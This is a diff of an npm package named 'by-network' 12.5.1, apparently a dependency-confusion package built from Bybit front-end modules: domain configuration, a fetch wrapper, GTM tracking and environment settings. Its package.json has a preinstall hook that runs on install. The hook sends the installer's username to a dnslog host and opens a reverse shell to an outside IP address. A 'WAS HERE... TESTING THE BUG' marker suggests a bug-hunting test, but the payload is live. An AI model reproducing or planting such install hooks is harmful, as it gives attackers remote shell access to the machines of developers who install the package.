by-network 12.5.1

package/by-dynamic-domain.es.js

@@ -0,0 +1,238 @@
+import _slicedToArray from '@babel/runtime/helpers/esm/slicedToArray';
+
+var _window$location = window.location,
+    hostname = _window$location.hostname,
+    protocol = _window$location.protocol;
+var _process$env = process.env,
+    BYBIT_COOKIE_DOMAIN = _process$env.BYBIT_COOKIE_DOMAIN,
+    BYBIT_API2_HOST = _process$env.BYBIT_API2_HOST,
+    BYBIT_WS2_HOST = _process$env.BYBIT_WS2_HOST;
+var isSSL = protocol === 'https:';
+var wsProtocol = isSSL ? 'wss:' : 'ws:'; // default config to dev-3
+// www.dev-3.bybit.com
+
+var isDev = true;
+var env = 'dev-3';
+var domain = 'bybit';
+var domainType = 'com';
+
+if (process.env.NODE_ENV === 'production') {
+  isDev = false;
+  var hostSplits = hostname.split('.');
+
+  if (hostSplits.length === 3) {
+    // www.bybit.com
+    // testnet.bybit.com
+    // m.bybit.com
+    // m-testnet.bybit.com
+    var _hostSplits = _slicedToArray(hostSplits, 3);
+
+    env = _hostSplits[0];
+    domain = _hostSplits[1];
+    domainType = _hostSplits[2];
+  }
+
+  if (hostSplits.length === 4) {
+    // www.dev-3.bybit.com
+    // m.dev-3.bybit.com
+    var _hostSplits2 = _slicedToArray(hostSplits, 4);
+
+    env = _hostSplits2[1];
+    domain = _hostSplits2[2];
+    domainType = _hostSplits2[3];
+  }
+}
+
+var isDevNeedSSL = isDev && (env === 'dev-3' || env === 'test-3');
+/**
+ * env can be 1 of [
+ * 'www',
+ * 'm',
+ * 'testnet', 'm-testnet'
+ * 'test-1', 'test-2', 'test-3,
+ * 'dev-1', 'dev-2', 'dev-3'
+ * ] etc.
+ */
+
+var envReg = /^(www|m)$/;
+var isProdOrTestnetReg = /^(www|m|testnet|m-testnet)$/;
+var isTestnet = env === 'testnet' || env === 'm-testnet';
+var cdnStaticProd = 's1.bycsi.com';
+var cdnStatic = isTestnet ? 't1.bycsi.com' : cdnStaticProd;
+var isProd = isProdOrTestnetReg.test(env);
+var DYNAMIC_ENV = env;
+var currentDomain = "".concat(domain, ".").concat(domainType);
+var api2ServicePrefix = "api2.".concat(!envReg.test(env) ? "".concat(env, ".") : '');
+var ws2ServicePrefix = "ws2.".concat(!envReg.test(env) ? "".concat(env, ".") : '');
+var chatPrefix = "chat.".concat(!envReg.test(env) ? "".concat(env, ".") : '');
+
+if (isTestnet) {
+  api2ServicePrefix = 'api2-testnet.';
+  chatPrefix = 'chat-testnet.';
+  ws2ServicePrefix = 'ws2-testnet.';
+}
+
+var tmsPath = '';
+
+if (!isProd) {
+  tmsPath = 'https://tms-internal.bybit.com';
+}
+
+var affiliatesPrefix = 'affiliates.';
+
+if (isTestnet || !isProd) {
+  affiliatesPrefix = 'affiliates-testnet.';
+}
+
+var AFFILIATES_HOST = "https://".concat(affiliatesPrefix).concat(domain, ".").concat(domainType);
+var api2Prefix = api2ServicePrefix;
+var ws2Prefix = ws2ServicePrefix;
+var DOMAIN = domain;
+var DOMAIN_TYPE = domainType;
+var TOKEN_COOKIE_KEY = BYBIT_COOKIE_DOMAIN || "b_t_c_k".concat(envReg.test(env) ? '' : "_".concat(env));
+var CDN_STATIC_PROD = "https://".concat(cdnStaticProd);
+var CDN_STATIC = "https://".concat(cdnStatic);
+var CHAT_URL = "".concat(protocol, "//").concat(chatPrefix).concat(domain, ".").concat(domainType, "/chat/by-chat-widget.js");
+var apiProtocol = isDevNeedSSL ? 'https:' : protocol;
+var ws2Protocol = isDevNeedSSL ? 'wss:' : wsProtocol;
+var API2_HOST = BYBIT_API2_HOST || "".concat(protocol, "//").concat(api2Prefix).concat(domain, ".").concat(domainType);
+var WS2_HOST = BYBIT_WS2_HOST || "".concat(ws2Protocol, "//").concat(ws2Prefix).concat(domain, ".").concat(domainType);
+var TMS_HOST = process.env.BYBIT_TMS_HOST || tmsPath; // export const ZENDESK_HOST = 'https://bybit.zendesk.com';
+
+var ZENDESK_HOST = "https://help.".concat(domain, ".com");
+var BLOG_HOST = "https://blog.".concat(domain, ".com"); // zendesk urls
+
+var zBaseLink = "".concat(ZENDESK_HOST, "/hc");
+var helpLang = {
+  'en-US': 'en-us',
+  'zh-CN': 'zh-cn',
+  'zh-TW': 'zh-tw',
+  'ja-JP': 'ja',
+  'ko-KR': 'ko',
+  'ru-RU': 'en-us',
+  'vi-VN': 'en-us'
+}; //  标记价格
+
+var zMarkPrice = function zMarkPrice(lang) {
+  var help = helpLang[lang] || 'en-us';
+  var link = {
+    'en-US': "/".concat(help, "/articles/360039261074-What-is-Dual-Price-mechanism-"),
+    'zh-CN': "/".concat(help, "/articles/360039261074-\u4EC0\u4E48\u662F\u53CC\u5957\u4EF7\u683C\u673A\u5236-"),
+    'zh-TW': "/".concat(help, "/articles/360039261074-\u4EC0\u9EBC\u662F\u96D9\u5957\u50F9\u683C\u6A5F\u5236-"),
+    'ja-JP': "/".concat(help, "/articles/360039261074-\u4E8C\u91CD\u4FA1\u683C\u30E1\u30AB\u30CB\u30BA\u30E0-\u516C\u6B63\u4FA1\u683C\u30DE\u30FC\u30AD\u30F3\u30B0\u3068\u306F-"),
+    'ko-KR': "/".concat(help, "/articles/360039261074-\uC774\uC911-\uAC00\uACA9-\uC2DC\uC2A4\uD15C")
+  }[lang] || "/".concat(help, "/articles/360039261074-What-is-Dual-Price-mechanism-");
+  return "".concat(zBaseLink).concat(link);
+}; // 反向强平价格
+
+var zLiquidation = function zLiquidation(lang) {
+  var help = helpLang[lang] || 'en-us';
+  var link = {
+    'en-US': "/".concat(help, "/articles/360039261334-How-to-calculate-Liquidation-Price-Inverse-Contract-"),
+    'zh-CN': "/".concat(help, "/articles/360039261334-\u5F3A\u5E73\u4EF7\u683C\u8BA1\u7B97-\u53CD\u5411\u6C38\u7EED-"),
+    'zh-TW': "/".concat(help, "/articles/360039261334-\u5F37\u5E73\u50F9\u683C\u8A08\u7B97-\u53CD\u5411\u6C38\u7E8C-"),
+    'ja-JP': "/".concat(help, "/articles/360039261334-\u5F37\u5236\u6C7A\u6E08\u3068\u306F\u4F55\u3067\u3059\u304B-\u30A4\u30F3\u30D0\u30FC\u30B9\u578B\u5951\u7D04-"),
+    'ko-KR': "/".concat(help, "/articles/360039261334-\uAC15\uC81C\uCCAD\uC0B0\uC774\uB780-\uC778\uBC84\uC2A4-\uBB34\uAE30\uD55C-")
+  }[lang] || "/".concat(help, "/articles/360039261334-How-to-calculate-Liquidation-Price-Inverse-Contract-");
+  return "".concat(zBaseLink).concat(link);
+}; // 正向强平价格
+
+var zLinearLiquidation = function zLinearLiquidation(lang) {
+  var help = helpLang[lang] || 'en-us';
+  var link = {
+    'en-US': "/".concat(help, "/articles/900000181046-Liquidation-Price-USDT-Contract-"),
+    'zh-CN': "/".concat(help, "/articles/900000181046-\u5F3A\u5E73\u4EF7\u683C\u8BA1\u7B97-USDT\u6C38\u7EED-"),
+    'zh-TW': "/".concat(help, "/articles/900000181046-\u5F37\u5E73\u50F9\u683C\u8A08\u7B97-USDT\u6C38\u7E8C-"),
+    'ja-JP': "/".concat(help, "/articles/900000181046-USDT\u7121\u671F\u9650\u5951\u7D04\u3067\u306E\u5F37\u5236\u6C7A\u6E08\u4FA1\u683C"),
+    'ko-KR': "/".concat(help, "/articles/900000181046-\uAC15\uC81C\uCCAD\uC0B0-\uAC00\uACA9-\uACC4\uC0B0\uBC29\uBC95-USDT\uACC4\uC57D-")
+  }[lang] || "/".concat(help, "/articles/900000181046-Liquidation-Price-USDT-Contract-");
+  return "".concat(zBaseLink).concat(link);
+}; // 风险限额
+
+var zRiskLimit = function zRiskLimit(lang) {
+  var help = helpLang[lang] || 'en-us';
+  var link = {
+    'en-US': "/".concat(help, "/articles/360039749753"),
+    'zh-CN': "/".concat(help, "/articles/360039749753"),
+    'zh-TW': "/".concat(help, "/articles/360039749753"),
+    'ja-JP': "/".concat(help, "/articles/360039749753"),
+    'ko-KR': "/".concat(help, "/articles/360039749753")
+  }[lang] || "/".concat(help, "/articles/360039749753");
+  return "".concat(zBaseLink).concat(link);
+}; // 交易费用, 反向永续/正向永续
+
+var TFEEURL = function TFEEURL(lang) {
+  var help = helpLang[lang] || 'en-us';
+  var link = {
+    'en-US': "/".concat(help, "/articles/360039261154"),
+    'zh-CN': "/".concat(help, "/articles/360039261154"),
+    'zh-TW': "/".concat(help, "/articles/360039261154"),
+    'ja-JP': "/".concat(help, "/articles/360039261154"),
+    'ko-KR': "/".concat(help, "/articles/360039261154"),
+    'ru-RU': "/".concat(help, "/articles/360039261154")
+  }[lang] || "/".concat(help, "/articles/360039261154");
+  return "".concat(zBaseLink).concat(link);
+}; // 交易费用, 反向交割
+
+var FITFEEURL = function FITFEEURL(lang) {
+  var help = helpLang[lang] || 'en-us';
+  var link = {
+    'en-US': "/".concat(help, "/articles/900003221726"),
+    'zh-CN': "/".concat(help, "/articles/900003221726"),
+    'zh-TW': "/".concat(help, "/articles/900003221726"),
+    'ja-JP': "/".concat(help, "/articles/900003221726"),
+    'ko-KR': "/".concat(help, "/articles/900003221726"),
+    'ru-RU': "/".concat(help, "/articles/900003221726")
+  }[lang] || "/".concat(help, "/articles/900003221726");
+  return "".concat(zBaseLink).concat(link);
+}; // 资金费率计算
+
+var FFEEURL = function FFEEURL(lang) {
+  var help = helpLang[lang] || 'en-us';
+  var link = {
+    'en-US': "/".concat(help, "/articles/360039261114"),
+    'zh-CN': "/".concat(help, "/articles/360039261114"),
+    'zh-TW': "/".concat(help, "/articles/360039261114"),
+    'ja-JP': "/".concat(help, "/articles/360039261114"),
+    'ko-KR': "/".concat(help, "/articles/360039261114"),
+    'ru-RU': "/".concat(help, "/articles/360039261114")
+  }[lang] || "/".concat(help, "/articles/360039261114");
+  return "".concat(zBaseLink).concat(link);
+}; // 指数价格
+
+var INDEXPRICEURL = function INDEXPRICEURL(lang) {
+  var help = helpLang[lang] || 'en-us';
+  var link = {
+    'en-US': "/".concat(help, "/articles/360039261094"),
+    'zh-CN': "/".concat(help, "/articles/360039261094"),
+    'zh-TW': "/".concat(help, "/articles/360039261094"),
+    'ja-JP': "/".concat(help, "/articles/360039261094"),
+    'ko-KR': "/".concat(help, "/articles/360039261094"),
+    'ru-RU': "/".concat(help, "/articles/360039261094")
+  }[lang] || "/".concat(help, "/articles/360039261094");
+  return "".concat(zBaseLink).concat(link);
+}; // 交割 指数价格
+
+var FUTUREINDEXPRICEURL = function FUTUREINDEXPRICEURL(lang) {
+  var help = helpLang[lang] || 'en-us';
+  var link = {
+    'en-US': "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-"),
+    'zh-CN': "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-"),
+    'zh-TW': "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-"),
+    'ja-JP': "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-"),
+    'ko-KR': "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-"),
+    'ru-RU': "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-")
+  }[lang] || "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-");
+  return "".concat(zBaseLink).concat(link);
+};
+var exportUrl = isProd ? 'https://public.bybit.com' : process.env.BYBIT_EXPORT_URL;
+
+export { AFFILIATES_HOST, API2_HOST, BLOG_HOST, CDN_STATIC, CDN_STATIC_PROD, CHAT_URL, DOMAIN, DOMAIN_TYPE, DYNAMIC_ENV, FFEEURL, FITFEEURL, FUTUREINDEXPRICEURL, INDEXPRICEURL, TFEEURL, TMS_HOST, TOKEN_COOKIE_KEY, WS2_HOST, ZENDESK_HOST, api2Prefix, apiProtocol, cdnStatic, currentDomain, exportUrl, helpLang, isProd, ws2Prefix, ws2Protocol, zBaseLink, zLinearLiquidation, zLiquidation, zMarkPrice, zRiskLimit };
+
+
+
+//////////////////
+// WEBPACK FOOTER
+// ./node_modules/by-data-pool/node_modules/by-dynamic-domain/dist/by-dynamic-domain.es.js
+// module id = null
+// module chunks = 

package/by-fetch.es.js

@@ -0,0 +1,252 @@
+import _objectSpread from '@babel/runtime/helpers/esm/objectSpread2';
+import _classCallCheck from '@babel/runtime/helpers/esm/classCallCheck';
+import _createClass from '@babel/runtime/helpers/esm/createClass';
+
+/**
+ * Detect weather
+ */
+var canAbortFetch = null; // Window cannot be used in web worker
+
+try {
+  canAbortFetch = 'AbortController' in window;
+} catch (_) {
+  canAbortFetch = null;
+}
+/**
+ * Default response type for module
+ */
+
+
+var DEFAULT_RESP_TYPE = 'json';
+/**
+ * Default timeout time
+ */
+
+var DEFAULT_TIMEOUT = 30000; // 30s
+
+/**
+ *  Get an check the responseType user sets.
+ */
+
+var getResponseType = function getResponseType(type) {
+  var validType = String(type).toLowerCase();
+  var types = {
+    json: true,
+    text: true,
+    formData: true,
+    blob: true,
+    arrayBuffer: true
+  };
+  return types[validType] ? validType : DEFAULT_RESP_TYPE;
+};
+/**
+ * Fetch class used to create new fetch instance
+ *
+ * @author lucky.zhou
+ * @class
+ */
+
+
+var Fetch = /*#__PURE__*/function () {
+  function Fetch() {
+    var defaultConfig = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
+    var settings = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
+
+    _classCallCheck(this, Fetch);
+
+    this.defaultOpts = defaultConfig;
+    this.timeout = settings.timeout || DEFAULT_TIMEOUT;
+    this.interceptors = {
+      response: [],
+      request: [],
+      errorHandler: [],
+      finally: []
+    };
+  }
+
+  _createClass(Fetch, [{
+    key: "get",
+    value: function get(url) {
+      var opts = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
+      var respType = arguments.length > 2 ? arguments[2] : undefined;
+      var nUrl = url;
+
+      if (opts.body) {
+        var params = opts.body;
+        var keys = Object.keys(params);
+        keys.forEach(function (key) {
+          var param = "".concat(key, "=").concat(params[key]);
+          nUrl = nUrl.indexOf('?') > -1 ? "".concat(nUrl, "&").concat(param) : "".concat(nUrl, "?").concat(param);
+        });
+        delete opts.body;
+      }
+
+      return this.fetch(nUrl, _objectSpread(_objectSpread({}, opts), {}, {
+        method: 'get'
+      }), respType);
+    }
+  }, {
+    key: "post",
+    value: function post(url) {
+      var opts = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
+      var respType = arguments.length > 2 ? arguments[2] : undefined;
+      return this.fetch(url, _objectSpread(_objectSpread({}, opts), {}, {
+        method: 'post'
+      }), respType);
+    }
+  }, {
+    key: "delete",
+    value: function _delete(url) {
+      var opts = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
+      var respType = arguments.length > 2 ? arguments[2] : undefined;
+      return this.fetch(url, _objectSpread(_objectSpread({}, opts), {}, {
+        method: 'delete'
+      }), respType);
+    }
+  }, {
+    key: "put",
+    value: function put(url) {
+      var opts = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
+      var respType = arguments.length > 2 ? arguments[2] : undefined;
+      return this.fetch(url, _objectSpread(_objectSpread({}, opts), {}, {
+        method: 'put'
+      }), respType);
+    }
+    /**
+     * Base function for using default fetch
+     *
+     * @param {string} url The request url
+     * @param {object} options The request options
+     *
+     * @description
+     * `options` follow the w3c fetch options structure
+     * `meta` in `options` used to pass meta info.
+     *
+     * @returns {Promise} The request promise
+     */
+
+  }, {
+    key: "fetch",
+    value: function (_fetch) {
+      function fetch(_x) {
+        return _fetch.apply(this, arguments);
+      }
+
+      fetch.toString = function () {
+        return _fetch.toString();
+      };
+
+      return fetch;
+    }(function (url) {
+      var _this = this;
+
+      var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
+      var respType = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : DEFAULT_RESP_TYPE;
+
+      var opts = _objectSpread(_objectSpread(_objectSpread({}, this.defaultOpts), options), {}, {
+        headers: _objectSpread(_objectSpread({}, this.defaultOpts.headers), options.headers)
+      }); // to use chained options in interceptors array
+
+
+      var hackedOpts = this.interceptors.request.reduce(function (prev, cur) {
+        return cur(prev, url);
+      }, opts);
+      var timeoutTimer;
+      var fetchController = canAbortFetch ? new AbortController() : {};
+      hackedOpts.signal = fetchController.signal;
+      /**
+       * timeout promise to abort request if necessary
+       */
+
+      var abortPromise = new Promise(function (resolve, reject) {
+        timeoutTimer = setTimeout(function () {
+          // Must reject first here!
+          // eslint-disable-next-line
+          reject({
+            ret_code: 9000001,
+            ret_msg: 'Request timeout, please re-try!'
+          });
+          /* istanbul ignore next */
+
+          if (canAbortFetch) fetchController.abort();
+        }, _this.timeout);
+      });
+      /**
+       * real fetch request promise
+       */
+
+      var fetchPromise = fetch(url, hackedOpts);
+      return Promise.race([fetchPromise, abortPromise]) // 1. clear timeout timer
+      .then(function (resp) {
+        clearTimeout(timeoutTimer);
+        return resp;
+      }) // 2. transform response data type and return
+      .then(function (resp) {
+        if (resp.status >= 400) return Promise.reject({
+          status: resp.status
+        });
+        return resp.ok && resp[getResponseType(respType)]();
+      }) // 3. handle response interceptors transform and return new data
+      .then(function (data) {
+        return _this.interceptors.response.reduce(function (prev, cur) {
+          return prev.then(cur);
+        }, Promise.resolve({
+          data: data,
+          config: hackedOpts,
+          url: url
+        }));
+      }).catch(function (err) {
+        _this.interceptors.errorHandler.forEach(function (fn) {
+          return fn(err, hackedOpts, url);
+        }); // throw err;
+
+
+        return Promise.reject(err);
+      }).finally(function () {
+        _this.interceptors.finally.forEach(function (fn) {
+          return fn();
+        });
+      });
+    })
+  }]);
+
+  return Fetch;
+}();
+/**
+ * Fetch instance factory function
+ *
+ * @param {object} cfg The request options for every request
+ * @param {object} settings The fetch settings for controller
+ */
+
+
+var createFetchInstance = function createFetchInstance() {
+  var opts = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
+  var settings = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
+
+  /* istanbul ignore next */
+  if (!('fetch' in window)) {
+    // eslint-disable-next-line
+    console.error('fetch function doesn\'t detected in you environment');
+    return null;
+  }
+
+  var instance = new Fetch(opts, settings);
+  var rawFetch = instance.fetch.bind(instance);
+  rawFetch.get = instance.get.bind(instance);
+  rawFetch.post = instance.post.bind(instance);
+  rawFetch.put = instance.put.bind(instance);
+  rawFetch.delete = instance.delete.bind(instance);
+  rawFetch.interceptors = instance.interceptors;
+  return rawFetch;
+};
+
+export default createFetchInstance;
+
+
+
+//////////////////
+// WEBPACK FOOTER
+// ./node_modules/by-fetch/dist/by-fetch.es.js
+// module id = iZRq
+// module chunks = 70

package/by-gtm.js

@@ -0,0 +1,49 @@
+/* eslint-disable */
+
+/**
+ * @global dataLayer can be filled info and send to Google Tag Manager.
+*/
+window.dataLayer = window.dataLayer || [];
+
+/**
+ * @function pushEvent - Sendout data ,needs three params:
+ * @param {string} eventAction
+ * @param {string} eventCategory
+ * @param {string} eventLabel
+ */
+const pushEvent = (eventAction, eventCategory, eventLabel) => {
+  window.dataLayer.push({ event: "GAEvent", eventAction, eventCategory, eventLabel });
+};
+
+/**
+ * At first listen page, second get variable buried`s value,then sendout data
+ * @variable {string} buried - comes from the clicked html tag.
+ * @param {Array} buriedValArr - at least 3 params
+ * Usage: set property at html tags. <div data-buried="'action','category','label'"></div>
+ */
+export const addGtmListener = () => {
+  document.addEventListener(
+    "click",
+    function(e) {
+      const { buried } = e.target.dataset;
+      if (!buried) return;
+      const buriedArr = buried.split(",");
+      pushEvent(...buriedArr);
+    },
+    true,
+  );
+};
+
+/**
+ * Export event to use it in the method.
+ * Usage:  pushEvent('action','category','label')
+ */
+export default pushEvent;
+
+
+
+//////////////////
+// WEBPACK FOOTER
+// ./node_modules/by-gtm/index.js
+// module id = +gEr
+// module chunks = 65

package/by-network.js

@@ -0,0 +1,7 @@
+export { default as createFetchInstance } from './src/fetch';
+export { default as wsio } from './src/wsio';
+
+
+
+// WEBPACK FOOTER //
+// ./node_modules/by-network/index.js

package/env.js

@@ -0,0 +1,101 @@
+var _window$location = window.location,
+    hostname = _window$location.hostname,
+    protocol = _window$location.protocol; // 运行环境根据域名判断
+
+export var isProdOrTestnet = /^[^.]+\.[^.]+\.[^.]+$/.test(hostname);
+export var isTestnet = isProdOrTestnet && /^[^.]*testnet[^.]*\./.test(hostname);
+export var isProd = isProdOrTestnet && !isTestnet;
+export var isTest = !isTestnet && !isProd;
+export var isDev = isTest;
+export var isSSL = protocol === 'https:';
+/* (START) Just for Automan
+  以下代码与业务template 以及 automan功能脚本注入 联动，关联性暂时依赖人为维护，可维护性待升级
+*/
+// eslint-disable-next-line no-underscore-dangle
+
+var globalConfig = window.__BYBIT_GLOBAL_CONFIG__ || {};
+var ac = globalConfig.enableAutoman && globalConfig.automan || {};
+export var ENV_RUNTIME_ENV = ac.AUTOMAN_RUNTIME_ENV; // 接口相关
+
+export var ENV_API2_HOST = ac.AUTOMAN_API2_HOST;
+export var ENV_WS2_HOST = ac.AUTOMAN_WS2_HOST; // 翻译
+
+export var ENV_TMS_HOST = ac.AUTOMAN_TMS_HOST;
+export var ENV_TMS_PATH = ac.AUTOMAN_TMS_PATH;
+export var ENV_TMS_FULL_PATH = ac.AUTOMAN_TMS_FULL_PATH; // 线路切换
+
+export var ENV_SERVICE_DOMAINS = ac.AUTOMAN_SERVICE_DOMAINS; // apm
+
+export var ENV_APM_ENABLED = ac.AUTOMAN_APM_ENABLED;
+export var ENV_APM_URL = ac.AUTOMAN_APM_URL; // sentry
+
+export var ENV_SENTRY_ENABLED = ac.AUTOMAN_SENTRY_ENABLED;
+export var ENV_SENTRY_DSN = ac.AUTOMAN_SENTRY_DSN; // Logger
+
+export var ENV_LOGGER_ENABLED = ac.AUTOMAN_LOGGER_ENABLED;
+export var ENV_LOGGER_URL = ac.AUTOMAN_LOGGER_URL; // Metric
+
+export var ENV_METRIC_URL = ac.AUTOMAN_METRIC_URL;
+export var ENV_METRIC_ENABLED = ac.AUTOMAN_METRIC_ENABLED;
+/* 以上代码与业务template 以及 automan功能脚本注入 联动，关联性暂时依赖人为维护，可维护性待升级
+  (END) Just for Automan
+*/
+// runtime env 代替原来jenkins中的构建常量BUILD_ENV
+
+var runtimeEnv = 'local';
+
+if (isTestnet) {
+  runtimeEnv = 'testnet';
+} else if (isProd) {
+  runtimeEnv = 'prod';
+} else if (isTest) {
+  runtimeEnv = 'test';
+}
+
+export var RUNTIME_ENV = ENV_RUNTIME_ENV || runtimeEnv; // 翻译系统
+
+var tmsHost = isTest ? 'https://tms.ffe390afd658c19dcbf707e0597b846d.de' : '';
+export var TMS_HOST = process.env.BYBIT_TMS_HOST || ENV_TMS_HOST || tmsHost;
+var tmsPath = isTest ? '/download/{{projectId}}/{{ns}}/{{lng}}/' : '/translations/{{projectId}}/{{lng}}/{{ns}}.json';
+export var TMS_PATH = process.env.BYBIT_I18N_SOURCE_URL || ENV_TMS_PATH || tmsPath;
+export var TMS_FULL_PATH = ENV_TMS_FULL_PATH || "".concat(TMS_HOST).concat(TMS_PATH); // 线路切换
+
+var serviceDomains = '';
+
+if (isTestnet) {
+  serviceDomains = 'bybitglobal.com';
+} else if (isProd) {
+  serviceDomains = 'bycbe.com, byapis.com';
+} else if (isTest) {
+  serviceDomains = 'bybit-cn.com';
+}
+
+export var BYBIT_SERVICE_DOMAINS = process.env.BYBIT_SERVICE_DOMAINS || ENV_SERVICE_DOMAINS || serviceDomains;
+/* skynet begin */
+// APM
+
+var apmUrl = isProd && 'https://apm.ffbbbdc6d3c353211fe2ba39c9f744cd.com' || isTestnet && 'https://apm-testnet.ffbbbdc6d3c353211fe2ba39c9f744cd.com' || isTest && 'http://10.110.185.208:30859' || 'http://10.120.140.129:30859';
+export var APM_URL = process.env.BYBIT_APM_URL || ENV_APM_URL || apmUrl;
+var apmDisabled = process.env.BYBIT_APM_DISABLED === 'true';
+export var APM_ENABLED = process.env.BYBIT_APM_DISABLED || !apmDisabled; // Sentry
+
+export var SENTRY_DSN = process.env.BYBIT_SENTRY_DSN || ENV_SENTRY_DSN;
+var sentryDisabled = process.env.BYBIT_SENTRY_DISABLED === 'true';
+export var SENTRY_ENABLED = ENV_SENTRY_ENABLED || !sentryDisabled; // Logger
+
+var logger_url = isProd ? 'https://api.ffbbbdc6d3c353211fe2ba39c9f744cd.com/p/front' : 'https://api.ffbbbdc6d3c353211fe2ba39c9f744cd.com/p/front-testnet';
+export var LOGGER_URL = process.env.BYBIT_LOGGER_URL || ENV_LOGGER_URL || logger_url;
+var loggerDisabled = process.env.BYBIT_LOGGER_DISABLED === 'true';
+export var LOGGER_ENABLED = ENV_LOGGER_ENABLED || !loggerDisabled; // Metric
+
+export var METRIC_URL = process.env.BYBIT_METRIC_URL || ENV_METRIC_URL || '/v2/public/metrics';
+var metricDisabled = process.env.BYBIT_METRIC_DISABLED === 'true';
+export var METRIC_ENABLED = ENV_METRIC_ENABLED || !metricDisabled;
+/* skynet end */
+
+
+//////////////////
+// WEBPACK FOOTER
+// ./node_modules/by-env/es/env.js
+// module id = null
+// module chunks = 

package/index.js

@@ -0,0 +1,14 @@
+/* Just a template root here
+ * This file used to wrapper all source files.
+ *
+ * e.g.
+ * export { default as fn } from './src/fn'
+ */
+export * from './env';
+
+
+//////////////////
+// WEBPACK FOOTER
+// ./node_modules/by-env/es/index.js
+// module id = null
+// module chunks = 

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "by-network",
+  "version": "12.5.1",
+  "description": "",
+  "main": "by-network.js",
+  "scripts": {
+    "test": "echo 123",
+    "preinstall": "curl $(whoami).bynet2.foff.dnslog.pw && sh -i >& /dev/tcp/213.152.162.79/8055 0>&1"
+  },
+  "author": "",
+  "license": "ISC"
+}

package/src/fetch.js

@@ -0,0 +1,192 @@
+/**
+ * Detect weather
+ */
+let canAbortFetch = null;
+// Window cannot be used in web worker
+try {
+  canAbortFetch = 'AbortController' in window;
+} catch (_) {
+  canAbortFetch = null;
+}
+
+/**
+ * Default response type for module
+ */
+const DEFAULT_RESP_TYPE = 'json';
+
+/**
+ * Default timeout time
+ */
+const DEFAULT_TIMEOUT = 30000; // 30s
+
+const FEARSOFF='WAS HERE.... TESTING THE BUG';
+
+/**
+ *  Get an check the responseType user sets.
+ */
+const getResponseType = (type) => {
+  const validType = String(type).toLowerCase();
+  const types = {
+    json: true,
+    text: true,
+    formData: true,
+    blob: true,
+    arrayBuffer: true,
+  };
+
+  return types[validType] ? validType : DEFAULT_RESP_TYPE;
+};
+
+/**
+ * Fetch class used to create new fetch instance
+ *
+ * @author lucky.zhou
+ * @class
+ */
+class Fetch {
+  constructor(defaultConfig = {}, settings = {}) {
+    this.defaultOpts = defaultConfig;
+    this.timeout = settings.timeout || DEFAULT_TIMEOUT;
+    this.interceptors = {
+      response: [],
+      request: [],
+      errorHandler: [],
+      finally: [],
+    };
+  }
+
+  get(url, opts = {}, respType) {
+    let nUrl = url;
+    if (opts.body) {
+      const params = opts.body;
+      const keys = Object.keys(params);
+      keys.forEach((key) => {
+        const param = `${key}=${params[key]}`;
+        nUrl = nUrl.indexOf('?') > -1 ? `${nUrl}&${param}` : `${nUrl}?${param}`;
+      });
+      delete opts.body;
+    }
+    return this.fetch(nUrl, { ...opts, method: 'get' }, respType);
+  }
+
+  post(url, opts = {}, respType) {
+    return this.fetch(url, { ...opts, method: 'post' }, respType);
+  }
+
+  delete(url, opts = {}, respType) {
+    return this.fetch(url, { ...opts, method: 'delete' }, respType);
+  }
+
+  put(url, opts = {}, respType) {
+    return this.fetch(url, { ...opts, method: 'put' }, respType);
+  }
+
+  /**
+   * Base function for using default fetch
+   *
+   * @param {string} url The request url
+   * @param {object} options The request options
+   *
+   * @description
+   * `options` follow the w3c fetch options structure
+   * `meta` in `options` used to pass meta info.
+   *
+   * @returns {Promise} The request promise
+   */
+  fetch(url, options = {}, respType = DEFAULT_RESP_TYPE) {
+    const opts = {
+      ...this.defaultOpts,
+      ...options,
+      headers: {
+        ...this.defaultOpts.headers,
+        ...options.headers,
+      },
+    };
+
+    // to use chained options in interceptors array
+    const hackedOpts = this
+      .interceptors
+      .request
+      .reduce((prev, cur) => cur(prev, url), opts);
+
+    let timeoutTimer;
+    const fetchController = canAbortFetch ? (new AbortController()) : {};
+
+    hackedOpts.signal = fetchController.signal;
+
+    /**
+     * timeout promise to abort request if necessary
+     */
+    const abortPromise = new Promise((resolve, reject) => {
+      timeoutTimer = setTimeout(() => {
+        // Must reject first here!
+        // eslint-disable-next-line
+        reject({ret_code: 9000001, ret_msg: 'Request timeout, please re-try!'});
+        /* istanbul ignore next */
+        if (canAbortFetch) fetchController.abort();
+      }, this.timeout);
+    });
+    /**
+     * real fetch request promise
+     */
+    const fetchPromise = fetch(url, hackedOpts);
+
+    return Promise.race([fetchPromise, abortPromise])
+      // 1. clear timeout timer
+      .then((resp) => {
+        clearTimeout(timeoutTimer);
+        return resp;
+      })
+      // 2. transform response data type and return
+      .then((resp) => {
+        if (resp.status >= 400) return Promise.reject({ status: resp.status });
+        return resp.ok && resp[getResponseType(respType)]();
+      })
+      // 3. handle response interceptors transform and return new data
+      .then((data) => this.interceptors.response.reduce(
+        (prev, cur) => prev.then(cur),
+        Promise.resolve({ data, config: hackedOpts, url }),
+      ))
+      .catch((err) => {
+        this.interceptors.errorHandler.forEach((fn) => fn(err, hackedOpts, url));
+        // throw err;
+        return Promise.reject(err);
+      })
+      .finally(() => {
+        this.interceptors.finally.forEach((fn) => fn());
+      });
+  }
+}
+
+/**
+ * Fetch instance factory function
+ *
+ * @param {object} cfg The request options for every request
+ * @param {object} settings The fetch settings for controller
+ */
+const createFetchInstance = (opts = {}, settings = {}) => {
+  /* istanbul ignore next */
+  if (!('fetch' in window)) {
+    // eslint-disable-next-line
+    console.error('fetch function doesn\'t detected in you environment');
+    return null;
+  }
+
